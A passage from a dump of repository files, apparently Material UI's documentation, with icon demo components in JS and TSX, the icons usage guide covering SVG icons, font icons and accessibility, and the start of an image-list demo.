FontAwesomeSvgIconDemo() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <IconButton aria-label=\"Example\">\n        <FontAwesomeIcon icon={faEllipsisV} />\n      </IconButton>\n      <IconButton aria-label=\"Example\">\n        <FontAwesomeSvgIcon icon={faEllipsisV} />\n      </IconButton>\n      <Button variant=\"contained\" startIcon={<FontAwesomeIcon icon={faInfo} />}>\n        Example\n      </Button>\n      <Button variant=\"contained\" startIcon={<FontAwesomeSvgIcon icon={faInfo} />}>\n        Example\n      </Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/FontAwesomeSvgIconDemo.tsx.preview",
    "content": "<IconButton aria-label=\"Example\">\n  <FontAwesomeIcon icon={faEllipsisV} />\n</IconButton>\n<IconButton aria-label=\"Example\">\n  <FontAwesomeSvgIcon icon={faEllipsisV} />\n</IconButton>\n<Button variant=\"contained\" startIcon={<FontAwesomeIcon icon={faInfo} />}>\n  Example\n</Button>\n<Button variant=\"contained\" startIcon={<FontAwesomeSvgIcon icon={faInfo} />}>\n  Example\n</Button>"
  },
  {
    "path": "docs/data/material/components/icons/Icons.js",
    "content": "import Stack from '@mui/material/Stack';\nimport { green } from '@mui/material/colors';\nimport Icon from '@mui/material/Icon';\n\nexport default function Icons() {\n  return (\n    <Stack direction=\"row\" spacing={3}>\n      <Icon>add_circle</Icon>\n      <Icon color=\"primary\">add_circle</Icon>\n      <Icon sx={{ color: green[500] }}>add_circle</Icon>\n      <Icon fontSize=\"small\">add_circle</Icon>\n      <Icon sx={{ fontSize: 30 }}>add_circle</Icon>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/Icons.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport { green } from '@mui/material/colors';\nimport Icon from '@mui/material/Icon';\n\nexport default function Icons() {\n  return (\n    <Stack direction=\"row\" spacing={3}>\n      <Icon>add_circle</Icon>\n      <Icon color=\"primary\">add_circle</Icon>\n      <Icon sx={{ color: green[500] }}>add_circle</Icon>\n      <Icon fontSize=\"small\">add_circle</Icon>\n      <Icon sx={{ fontSize: 30 }}>add_circle</Icon>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/Icons.tsx.preview",
    "content": "<Icon>add_circle</Icon>\n<Icon color=\"primary\">add_circle</Icon>\n<Icon sx={{ color: green[500] }}>add_circle</Icon>\n<Icon fontSize=\"small\">add_circle</Icon>\n<Icon sx={{ fontSize: 30 }}>add_circle</Icon>"
  },
  {
    "path": "docs/data/material/components/icons/SvgIconChildren.js",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport default function SvgIconChildren() {\n  return (\n    <SvgIcon>\n      {/* credit: cog icon from https://heroicons.com */}\n      <svg\n        xmlns=\"http://www.w3.org/2000/svg\"\n        fill=\"none\"\n        viewBox=\"0 0 24 24\"\n        strokeWidth={1.5}\n        stroke=\"currentColor\"\n      >\n        <path\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          d=\"M4.5 12a7.5 7.5 0 0015 0m-15 0a7.5 7.5 0 1115 0m-15 0H3m16.5 0H21m-1.5 0H12m-8.457 3.077l1.41-.513m14.095-5.13l1.41-.513M5.106 17.785l1.15-.964m11.49-9.642l1.149-.964M7.501 19.795l.75-1.3m7.5-12.99l.75-1.3m-6.063 16.658l.26-1.477m2.605-14.772l.26-1.477m0 17.726l-.26-1.477M10.698 4.614l-.26-1.477M16.5 19.794l-.75-1.299M7.5 4.205L12 12m6.894 5.785l-1.149-.964M6.256 7.178l-1.15-.964m15.352 8.864l-1.41-.513M4.954 9.435l-1.41-.514M12.002 12l-3.75 6.495\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/SvgIconChildren.tsx",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport default function SvgIconChildren() {\n  return (\n    <SvgIcon>\n      {/* credit: cog icon from https://heroicons.com */}\n      <svg\n        xmlns=\"http://www.w3.org/2000/svg\"\n        fill=\"none\"\n        viewBox=\"0 0 24 24\"\n        strokeWidth={1.5}\n        stroke=\"currentColor\"\n      >\n        <path\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          d=\"M4.5 12a7.5 7.5 0 0015 0m-15 0a7.5 7.5 0 1115 0m-15 0H3m16.5 0H21m-1.5 0H12m-8.457 3.077l1.41-.513m14.095-5.13l1.41-.513M5.106 17.785l1.15-.964m11.49-9.642l1.149-.964M7.501 19.795l.75-1.3m7.5-12.99l.75-1.3m-6.063 16.658l.26-1.477m2.605-14.772l.26-1.477m0 17.726l-.26-1.477M10.698 4.614l-.26-1.477M16.5 19.794l-.75-1.299M7.5 4.205L12 12m6.894 5.785l-1.149-.964M6.256 7.178l-1.15-.964m15.352 8.864l-1.41-.513M4.954 9.435l-1.41-.514M12.002 12l-3.75 6.495\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/SvgIconChildren.tsx.preview",
    "content": "<SvgIcon>\n  {/* credit: cog icon from https://heroicons.com */}\n  <svg\n    xmlns=\"http://www.w3.org/2000/svg\"\n    fill=\"none\"\n    viewBox=\"0 0 24 24\"\n    strokeWidth={1.5}\n    stroke=\"currentColor\"\n  >\n    <path\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      d=\"M4.5 12a7.5 7.5 0 0015 0m-15 0a7.5 7.5 0 1115 0m-15 0H3m16.5 0H21m-1.5 0H12m-8.457 3.077l1.41-.513m14.095-5.13l1.41-.513M5.106 17.785l1.15-.964m11.49-9.642l1.149-.964M7.501 19.795l.75-1.3m7.5-12.99l.75-1.3m-6.063 16.658l.26-1.477m2.605-14.772l.26-1.477m0 17.726l-.26-1.477M10.698 4.614l-.26-1.477M16.5 19.794l-.75-1.299M7.5 4.205L12 12m6.894 5.785l-1.149-.964M6.256 7.178l-1.15-.964m15.352 8.864l-1.41-.513M4.954 9.435l-1.41-.514M12.002 12l-3.75 6.495\"\n    />\n  </svg>\n</SvgIcon>"
  },
  {
    "path": "docs/data/material/components/icons/SvgIconsColor.js",
    "content": "import Stack from '@mui/material/Stack';\nimport { pink } from '@mui/material/colors';\nimport SvgIcon from '@mui/material/SvgIcon';\n\nfunction HomeIcon(props) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function SvgIconsColor() {\n  return (\n    <Stack direction=\"row\" spacing={3}>\n      <HomeIcon />\n      <HomeIcon color=\"primary\" />\n      <HomeIcon color=\"secondary\" />\n      <HomeIcon color=\"success\" />\n      <HomeIcon color=\"action\" />\n      <HomeIcon color=\"disabled\" />\n      <HomeIcon sx={{ color: pink[500] }} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/SvgIconsColor.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport { pink } from '@mui/material/colors';\nimport SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';\n\nfunction HomeIcon(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function SvgIconsColor() {\n  return (\n    <Stack direction=\"row\" spacing={3}>\n      <HomeIcon />\n      <HomeIcon color=\"primary\" />\n      <HomeIcon color=\"secondary\" />\n      <HomeIcon color=\"success\" />\n      <HomeIcon color=\"action\" />\n      <HomeIcon color=\"disabled\" />\n      <HomeIcon sx={{ color: pink[500] }} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/SvgIconsColor.tsx.preview",
    "content": "<HomeIcon />\n<HomeIcon color=\"primary\" />\n<HomeIcon color=\"secondary\" />\n<HomeIcon color=\"success\" />\n<HomeIcon color=\"action\" />\n<HomeIcon color=\"disabled\" />\n<HomeIcon sx={{ color: pink[500] }} />"
  },
  {
    "path": "docs/data/material/components/icons/SvgIconsSize.js",
    "content": "import Stack from '@mui/material/Stack';\nimport SvgIcon from '@mui/material/SvgIcon';\n\nfunction HomeIcon(props) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function SvgIconsSize() {\n  return (\n    <Stack direction=\"row\" spacing={3} sx={{ alignItems: 'flex-end' }}>\n      <HomeIcon fontSize=\"small\" />\n      <HomeIcon />\n      <HomeIcon fontSize=\"large\" />\n      <HomeIcon sx={{ fontSize: 40 }} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/SvgIconsSize.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport SvgIcon, { SvgIconProps } from '@mui/material/SvgIcon';\n\nfunction HomeIcon(props: SvgIconProps) {\n  return (\n    <SvgIcon {...props}>\n      <path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\" />\n    </SvgIcon>\n  );\n}\n\nexport default function SvgIconsSize() {\n  return (\n    <Stack direction=\"row\" spacing={3} sx={{ alignItems: 'flex-end' }}>\n      <HomeIcon fontSize=\"small\" />\n      <HomeIcon />\n      <HomeIcon fontSize=\"large\" />\n      <HomeIcon sx={{ fontSize: 40 }} />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/SvgIconsSize.tsx.preview",
    "content": "<HomeIcon fontSize=\"small\" />\n<HomeIcon />\n<HomeIcon fontSize=\"large\" />\n<HomeIcon sx={{ fontSize: 40 }} />"
  },
  {
    "path": "docs/data/material/components/icons/SvgMaterialIcons.js",
    "content": "import Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport DeleteOutlinedIcon from '@mui/icons-material/DeleteOutlined';\nimport DeleteRoundedIcon from '@mui/icons-material/DeleteRounded';\nimport DeleteTwoToneIcon from '@mui/icons-material/DeleteTwoTone';\nimport DeleteSharpIcon from '@mui/icons-material/DeleteSharp';\nimport DeleteForeverIcon from '@mui/icons-material/DeleteForever';\nimport DeleteForeverOutlinedIcon from '@mui/icons-material/DeleteForeverOutlined';\nimport DeleteForeverRoundedIcon from '@mui/icons-material/DeleteForeverRounded';\nimport DeleteForeverTwoToneIcon from '@mui/icons-material/DeleteForeverTwoTone';\nimport DeleteForeverSharpIcon from '@mui/icons-material/DeleteForeverSharp';\nimport ThreeDRotationIcon from '@mui/icons-material/ThreeDRotation';\nimport FourKIcon from '@mui/icons-material/FourK';\nimport ThreeSixtyIcon from '@mui/icons-material/ThreeSixty';\n\nexport default function SvgMaterialIcons() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container sx={{ color: 'text.primary' }}>\n        <Grid size={4}>\n          <Typography>Filled</Typography>\n        </Grid>\n        <Grid size={8}>\n          <DeleteIcon />\n          <DeleteForeverIcon />\n        </Grid>\n        <Grid size={4}>\n          <Typography>Outlined</Typography>\n        </Grid>\n        <Grid size={8}>\n          <DeleteOutlinedIcon />\n          <DeleteForeverOutlinedIcon />\n        </Grid>\n        <Grid size={4}>\n          <Typography>Rounded</Typography>\n        </Grid>\n        <Grid size={8}>\n          <DeleteRoundedIcon />\n          <DeleteForeverRoundedIcon />\n        </Grid>\n        <Grid size={4}>\n          <Typography>Two Tone</Typography>\n        </Grid>\n        <Grid size={8}>\n          <DeleteTwoToneIcon />\n          <DeleteForeverTwoToneIcon />\n        </Grid>\n        <Grid size={4}>\n          <Typography>Sharp</Typography>\n        </Grid>\n        <Grid size={8}>\n          <DeleteSharpIcon />\n          <DeleteForeverSharpIcon />\n        </Grid>\n        <Grid size={4}>\n          <Typography>Edge-cases</Typography>\n        </Grid>\n        <Grid size={8}>\n          <ThreeDRotationIcon />\n          <FourKIcon />\n          <ThreeSixtyIcon />\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/SvgMaterialIcons.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport DeleteOutlinedIcon from '@mui/icons-material/DeleteOutlined';\nimport DeleteRoundedIcon from '@mui/icons-material/DeleteRounded';\nimport DeleteTwoToneIcon from '@mui/icons-material/DeleteTwoTone';\nimport DeleteSharpIcon from '@mui/icons-material/DeleteSharp';\nimport DeleteForeverIcon from '@mui/icons-material/DeleteForever';\nimport DeleteForeverOutlinedIcon from '@mui/icons-material/DeleteForeverOutlined';\nimport DeleteForeverRoundedIcon from '@mui/icons-material/DeleteForeverRounded';\nimport DeleteForeverTwoToneIcon from '@mui/icons-material/DeleteForeverTwoTone';\nimport DeleteForeverSharpIcon from '@mui/icons-material/DeleteForeverSharp';\nimport ThreeDRotationIcon from '@mui/icons-material/ThreeDRotation';\nimport FourKIcon from '@mui/icons-material/FourK';\nimport ThreeSixtyIcon from '@mui/icons-material/ThreeSixty';\n\nexport default function SvgMaterialIcons() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container sx={{ color: 'text.primary' }}>\n        <Grid size={4}>\n          <Typography>Filled</Typography>\n        </Grid>\n        <Grid size={8}>\n          <DeleteIcon />\n          <DeleteForeverIcon />\n        </Grid>\n        <Grid size={4}>\n          <Typography>Outlined</Typography>\n        </Grid>\n        <Grid size={8}>\n          <DeleteOutlinedIcon />\n          <DeleteForeverOutlinedIcon />\n        </Grid>\n        <Grid size={4}>\n          <Typography>Rounded</Typography>\n        </Grid>\n        <Grid size={8}>\n          <DeleteRoundedIcon />\n          <DeleteForeverRoundedIcon />\n        </Grid>\n        <Grid size={4}>\n          <Typography>Two Tone</Typography>\n        </Grid>\n        <Grid size={8}>\n          <DeleteTwoToneIcon />\n          <DeleteForeverTwoToneIcon />\n        </Grid>\n        <Grid size={4}>\n          <Typography>Sharp</Typography>\n        </Grid>\n        <Grid size={8}>\n          <DeleteSharpIcon />\n          <DeleteForeverSharpIcon />\n        </Grid>\n        <Grid size={4}>\n          <Typography>Edge-cases</Typography>\n        </Grid>\n        <Grid size={8}>\n          <ThreeDRotationIcon />\n          <FourKIcon />\n          <ThreeSixtyIcon />\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/TwoToneIcons.js",
    "content": "import { useTheme } from '@mui/material/styles';\nimport Icon from '@mui/material/Icon';\n\nconst useIsDarkMode = () => {\n  const theme = useTheme();\n  return theme.palette.mode === 'dark';\n};\n\nexport default function TwoToneIcons() {\n  const isDarkMode = useIsDarkMode();\n\n  return (\n    <Icon\n      sx={[isDarkMode && { filter: 'invert(1)' }]}\n      baseClassName=\"material-icons-two-tone\"\n    >\n      add_circle\n    </Icon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/TwoToneIcons.tsx",
    "content": "import { useTheme } from '@mui/material/styles';\nimport Icon from '@mui/material/Icon';\n\nconst useIsDarkMode = () => {\n  const theme = useTheme();\n  return theme.palette.mode === 'dark';\n};\n\nexport default function TwoToneIcons() {\n  const isDarkMode = useIsDarkMode();\n\n  return (\n    <Icon\n      sx={[isDarkMode && { filter: 'invert(1)' }]}\n      baseClassName=\"material-icons-two-tone\"\n    >\n      add_circle\n    </Icon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/icons/TwoToneIcons.tsx.preview",
    "content": "<Icon\n  sx={[isDarkMode && { filter: 'invert(1)' }]}\n  baseClassName=\"material-icons-two-tone\"\n>\n  add_circle\n</Icon>"
  },
  {
    "path": "docs/data/material/components/icons/icons.md",
    "content": "---\nproductId: material-ui\ntitle: React Icon Component\ncomponents: Icon, SvgIcon\ngithubLabel: 'components: SvgIcon'\nmaterialDesign: https://m2.material.io/design/iconography/system-icons.html\n---\n\n# Icons\n\n<p class=\"description\">Guidance and suggestions for using icons with Material UI.</p>\n\nMaterial UI provides icon support in three ways:\n\n1. With [Material Icons](#material-svg-icons) exported as React components (SVG icons).\n1. With the [SvgIcon](#svgicon) component, a React wrapper for custom SVG icons.\n1. With the [Icon](#icon-font-icons) component, a React wrapper for custom font icons.\n\n## Material SVG icons\n\nGoogle has created over 2,100 official [Material icons](https://fonts.google.com/icons?icon.set=Material+Icons), each in five different \"themes\" (see below).\nFor each SVG icon, we export the respective React component from the `@mui/icons-material` package.\nYou can [search the full list of these icons](/material-ui/material-icons/).\n\n### Installation\n\nRun one of the following commands to install it and save it to your `package.json` dependencies:\n\n<!-- #npm-tag-reference -->\n\n<codeblock storageKey=\"package-manager\">\n```bash npm\nnpm install @mui/icons-material@next\n```\n\n```bash pnpm\npnpm add @mui/icons-material@next\n```\n\n```bash yarn\nyarn add @mui/icons-material@next\n```\n\n</codeblock>\n\nThese components use the Material UI `SvgIcon` component to render the SVG path for each icon, and so have a peer-dependency on `@mui/material`.\n\nIf you aren't already using Material UI in your project, you can add it following the [installation guide](/material-ui/getting-started/installation/).\n\n### Usage\n\nImport icons using one of these two options:\n\n- Option 1:\n\n  ```jsx\n  import AccessAlarmIcon from '@mui/icons-material/AccessAlarm';\n  import ThreeDRotation from '@mui/icons-material/ThreeDRotation';\n  ```\n\n- Option 2:\n\n  ```jsx\n  import { AccessAlarm, ThreeDRotation } from '@mui/icons-material';\n  ```\n\nThe safest for bundle size is Option 1, but some developers prefer Option 2.\nMake sure you read the [minimizing bundle size guide](/material-ui/guides/minimizing-bundle-size/) before using the second approach.\n\nEach Material icon also has a \"theme\": Filled (default), Outlined, Rounded, Two-tone, and Sharp. To import the icon component with a theme other than the default, append the theme name to the icon name. For example `@mui/icons-material/Delete` icon with:\n\n- Filled theme (default) is exported as `@mui/icons-material/Delete`,\n- Outlined theme is exported as `@mui/icons-material/DeleteOutlined`,\n- Rounded theme is exported as `@mui/icons-material/DeleteRounded`,\n- Twotone theme is exported as `@mui/icons-material/DeleteTwoTone`,\n- Sharp theme is exported as `@mui/icons-material/DeleteSharp`.\n\n:::warning\nThe Material Design guidelines name the icons using \"snake_case\" naming (for example `delete_forever`, `add_a_photo`), while `@mui/icons-material` exports the respective icons using \"PascalCase\" naming (for example `DeleteForever`, `AddAPhoto`). There are three exceptions to this naming rule: `3d_rotation` exported as `ThreeDRotation`, `4k` exported as `FourK`, and `360` exported as `ThreeSixty`.\n:::\n\n{{\"demo\": \"SvgMaterialIcons.js\"}}\n\n## SvgIcon\n\nIf you need a custom SVG icon (not available in the [Material Icons](/material-ui/material-icons/)) you can use the `SvgIcon` wrapper.\nThis component extends the native `<svg>` element:\n\n- It comes with built-in accessibility.\n- SVG elements should be scaled for a 24x24px viewport so that the resulting icon can be used as is, or included as a child for other Material UI components that use icons.\n  This can be customized with the `viewBox` attribute.\n  To inherit the `viewBox` value from the original image, the `inheritViewBox` prop can be used.\n- By default, the component inherits the current color. Optionally, you can apply one of the theme colors using the `color` prop.\n- It supports `<svg>` element as a child so you can copy and paste your SVG directly to `SvgIcon` component.\n\n{{\"demo\": \"SvgIconChildren.js\"}}\n\n### Color\n\n{{\"demo\": \"SvgIconsColor.js\"}}\n\n### Size\n\n{{\"demo\": \"SvgIconsSize.js\"}}\n\n### Component prop\n\nYou can use the `SvgIcon` wrapper even if your icons are saved in the `.svg` format.\n[svgr](https://github.com/gregberge/svgr) has loaders to import SVG files and use them as React components. For example, with webpack:\n\n```jsx\n// webpack.config.js\n{\n  test: /\\.svg$/,\n  use: ['@svgr/webpack'],\n}\n\n// ---\nimport StarIcon from './star.svg';\n\n<SvgIcon component={StarIcon} inheritViewBox />\n```\n\nIt's also possible to use it with \"url-loader\" or \"file-loader\". This is the approach used by Create React App.\n\n```jsx\n// webpack.config.js\n{\n  test: /\\.svg$/,\n  use: ['@svgr/webpack', 'url-loader'],\n}\n\n// ---\nimport { ReactComponent as StarIcon } from './star.svg';\n\n<SvgIcon component={StarIcon} inheritViewBox />\n```\n\n### createSvgIcon\n\nThe `createSvgIcon` utility component is used to create the [Material Icons](#material-svg-icons). It can be used to wrap an `<svg>` element or an SVG path which is passed as a child to the [`SvgIcon`](#svgicon) component.\n\n```jsx\nconst HomeIcon = createSvgIcon(\n  <path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\" />,\n  'Home',\n);\n\n// or with custom SVG\nconst PlusIcon = createSvgIcon(\n  <svg\n    xmlns=\"http://www.w3.org/2000/svg\"\n    fill=\"none\"\n    viewBox=\"0 0 24 24\"\n    strokeWidth={1.5}\n    stroke=\"currentColor\"\n    className=\"h-6 w-6\"\n  >\n    <path strokeLinecap=\"round\" strokeLinejoin=\"round\" d=\"M12 4.5v15m7.5-7.5h-15\" />\n  </svg>,\n  'Plus',\n);\n```\n\n{{\"demo\": \"CreateSvgIcon.js\"}}\n\n### Font Awesome\n\nIf you find that there are layout issues when using FontAwesomeIcon from `@fortawesome/react-fontawesome`, you can try passing the Font Awesome SVG data directly to SvgIcon.\n\nBelow is a comparison of the `FontAwesomeIcon` component and a wrapped `SvgIcon` component.\n\n{{\"demo\": \"FontAwesomeSvgIconDemo.js\"}}\n\nFontAwesomeIcon's `fullWidth` prop can also be used to approximate the correct dimensions, but it isn't perfect.\n\n### Other libraries\n\n#### MDI\n\n[materialdesignicons.com](https://pictogrammers.com/library/mdi/) provides over 2,000 icons.\nFor the wanted icon, copy the SVG `path` they provide, and use it as the child of the `SvgIcon` component, or with `createSvgIcon()`.\n\nNote: [mdi-material-ui](https://github.com/TeamWertarbyte/mdi-material-ui) has already wrapped each of these SVG icons with the `SvgIcon` component, so you don't have to do it yourself.\n\n## Icon (Font icons)\n\nThe `Icon` component will display an icon from any icon font that supports ligatures.\nAs a prerequisite, you must include one, such as the\n[Material Icons font](https://google.github.io/material-design-icons/#icon-font-for-the-web) in your project.\nTo use an icon simply wrap the icon name (font ligature) with the `Icon` component,\nfor example:\n\n```jsx\nimport Icon from '@mui/material/Icon';\n\n<Icon>star</Icon>;\n```\n\nBy default, an Icon will inherit the current text color.\nOptionally, you can set the icon color using one of the theme color properties: `primary`, `secondary`, `action`, `error` & `disabled`.\n\n### Font Material Icons\n\n`Icon` will by default set the correct base class name for the Material Icons font (filled variant).\nAll you need to do is load the font, for instance, via Google Web Fonts:\n\n```html\n<link\n  rel=\"stylesheet\"\n  href=\"https://fonts.googleapis.com/icon?family=Material+Icons\"\n/>\n```\n\n{{\"demo\": \"Icons.js\"}}\n\n### Custom font\n\nFor other fonts, you can customize the baseline class name using the `baseClassName` prop.\nFor instance, you can display two-tone icons with Material Design:\n\n```jsx\nimport Icon from '@mui/material/Icon';\n\n<link\n  rel=\"stylesheet\"\n  href=\"https://fonts.googleapis.com/css?family=Material+Icons+Two+Tone\"\n  // Import the two tones MD variant                           ^^^^^^^^\n/>;\n```\n\n{{\"demo\": \"TwoToneIcons.js\"}}\n\n#### Global base class name\n\nModifying the `baseClassName` prop for each component usage is repetitive.\nYou can change the default prop globally with the theme\n\n```js\nconst theme = createTheme({\n  components: {\n    MuiIcon: {\n      defaultProps: {\n        // Replace the `material-icons` default value.\n        baseClassName: 'material-icons-two-tone',\n      },\n    },\n  },\n});\n```\n\nThen, you can use the two-tone font directly:\n\n```jsx\n<Icon>add_circle</Icon>\n```\n\n### Font Awesome\n\n[Font Awesome](https://fontawesome.com/icons) can be used with the `Icon` component as follows:\n\n{{\"demo\": \"FontAwesomeIcon.js\"}}\n\nNote that the Font Awesome icons weren't designed like the Material Icons (compare the two previous demos).\nThe fa icons are cropped to use all the space available. You can adjust for this with a global override:\n\n```js\nconst theme = createTheme({\n  components: {\n    MuiIcon: {\n      styleOverrides: {\n        root: {\n          // Match 24px = 3 * 2 + 1.125 * 16\n          boxSizing: 'content-box',\n          padding: 3,\n          fontSize: '1.125rem',\n        },\n      },\n    },\n  },\n});\n```\n\n{{\"demo\": \"FontAwesomeIconSize.js\"}}\n\n## Font vs. SVGs: Which approach to use?\n\nBoth approaches work fine, however, there are some subtle differences, especially in terms of performance and rendering quality.\nWhenever possible SVG is preferred as it allows code splitting, supports more icons, and renders faster and better.\n\nFor more details, take a look at [why GitHub migrated from font icons to SVG icons](https://github.blog/engineering/delivering-octicons-with-svg/).\n\n## Accessibility\n\nIcons can convey all sorts of meaningful information, so it's important to ensure they are accessible where appropriate.\nThere are two use cases you'll want to consider:\n\n- **Decorative icons** that are only being used for visual or branding reinforcement.\n  If they were removed from the page, users would still understand and be able to use your page.\n- **Semantic icons** are ones that you're using to convey meaning, rather than just pure decoration.\n  This includes icons without text next to them that are used as interactive controls — buttons, form elements, toggles, etc.\n\n### Decorative icons\n\nIf your icons are purely decorative, you're already done!\nThe `aria-hidden=true` attribute is added so that your icons are properly accessible (invisible).\n\n### Semantic icons\n\n#### Semantic SVG icons\n\nYou should include the `titleAccess` prop with a meaningful value.\nThe `role=\"img\"` attribute and the `<title>` element are added so that your icons are correctly accessible.\n\nIn the case of focusable interactive elements, for example when used with an icon button, you can use the `aria-label` prop:\n\n```jsx\nimport IconButton from '@mui/material/IconButton';\nimport SvgIcon from '@mui/material/SvgIcon';\n\n// ...\n\n<IconButton aria-label=\"delete\">\n  <SvgIcon>\n    <path d=\"M20 12l-1.41-1.41L13 16.17V4h-2v12.17l-5.58-5.59L4 12l8 8 8-8z\" />\n  </SvgIcon>\n</IconButton>;\n```\n\n#### Semantic font icons\n\nYou need to provide a text alternative that is only visible to assistive technologies.\n\n```jsx\nimport Box from '@mui/material/Box';\nimport Icon from '@mui/material/Icon';\nimport { visuallyHidden } from '@mui/utils';\n\n// ...\n\n<Icon>add_circle</Icon>\n<Box component=\"span\" sx={visuallyHidden}>Create a user</Box>\n```\n\n#### Reference\n\n- https://www.tpgi.com/using-aria-enhance-svg-accessibility/\n"
  },
  {
    "path": "docs/data/material/components/image-list/CustomImageList.js",
    "content": "import ImageList from '@mui/material/ImageList';\nimport ImageListItem from '@mui/material/ImageListItem';\nimport ImageListItemBar from '@mui/material/ImageListItemBar';\nimport IconButton from '@mui/material/IconButton';\nimport StarBorderIcon from '@mui/icons-material/StarBorder';\n\nfunction srcset(image, width, height, rows = 1, cols = 1) {\n  return {\n    src: `${image}?w=${width * cols}&h=${height * rows}&fit=crop&auto=format`,\n    srcSet: `${image}?w=${width * cols}&h=${\n      height * rows\n    }&fit=crop&auto=format&dpr=2 2x`,\n  };\n}\n\nexport default function CustomImageList() {\n  return (\n    <ImageList\n      sx={{\n        width: 500,\n        height: 450,\n        // Promote the list into its own layer in Chrome. This costs memory, but helps keeping high FPS.\n        transform: 'translateZ(0)',\n      }}\n      rowHeight={200}\n      gap={1}\n    >\n      {itemData.map((item) => {\n        const cols = item.featured ? 2 : 1;\n        const rows = item.featured ? 2 : 1;\n\n        return (\n          <ImageListItem key={item.img} cols={cols} rows={rows}>\n            <img\n              {...srcset(item.img, 250, 200, rows, cols)}\n              alt={item.title}\n              loading=\"lazy\"\n            />\n            <ImageListItemBar\n              sx={{\n                background:\n                  'linear-gradient(to bottom, rgba(0,0,0,0.7) 0%, ' +\n                  'rgba(0,0,0,0.3) 70%, rgba(0,0,0,0) 100%)',\n              }}\n              title={item.title}\n              position=\"top\"\n              actionIcon={\n                <IconButton\n                  sx={{ color: 'white' }}\n                  aria-label={`star ${item.title}`}\n                >\n                  <StarBorderIcon />\n                </IconButton>\n              }\n              actionPosition=\"left\"\n            />\n          </ImageListItem>\n        );\n      })}\n    </ImageList>\n  );\n}\n\nconst itemData = [\n  {\n    img: 'https://images.unsplash.com/photo-1551963831-b3b1ca40c98e',\n    title: 'Breakfast',\n    author: '@bkristastucchio',\n    featured: true,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1551782450-a2132b4ba21d',\n    title: 'Burger',\n    author: '@rollelflex_graphy726',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1522770179533-24471fcdba45',\n    title: 'Camera',\n    author: '@helloimnik',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1444418776041-9c7e33cc5a9c',\n    title: 'Coffee',\n    author: '@nolanissac',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1533827432537-70133748f5c8',\n    title: 'Hats',\n    author: '@hjrc33',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1558642452-9d2a7deb7f62',\n    title: 'Honey',\n    author: '@arwinneil',\n    featured: true,\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1516802273409-68526ee1bdd6',\n    title: 'Basketball',\n    author: '@tjdragotta',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1518756131217-31eb79b20e8f',\n    title: 'Fern',\n    author: '@katie_wasserman',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1597645587822-e99fa5d45d25',\n    title: 'Mushrooms',\n    author: '@silverdalex',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1567306301408-9b74779a11af',\n    title: 'Tomato basil',\n    author: '@shelleypauls',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1471357674240-e1a485acb3e1',\n    title: 'Sea star',\n    author: '@peterlaster',\n  },\n  {\n    img: 'https://images.unsplash.com/photo-1589118949245-7d38baf380d6',\n    title: 'Bike',\n    author: '@southside_customs',\n  },\n];\n"
  },
  {
    "path": "docs/data/material/components/image-list/CustomImageList.tsx",
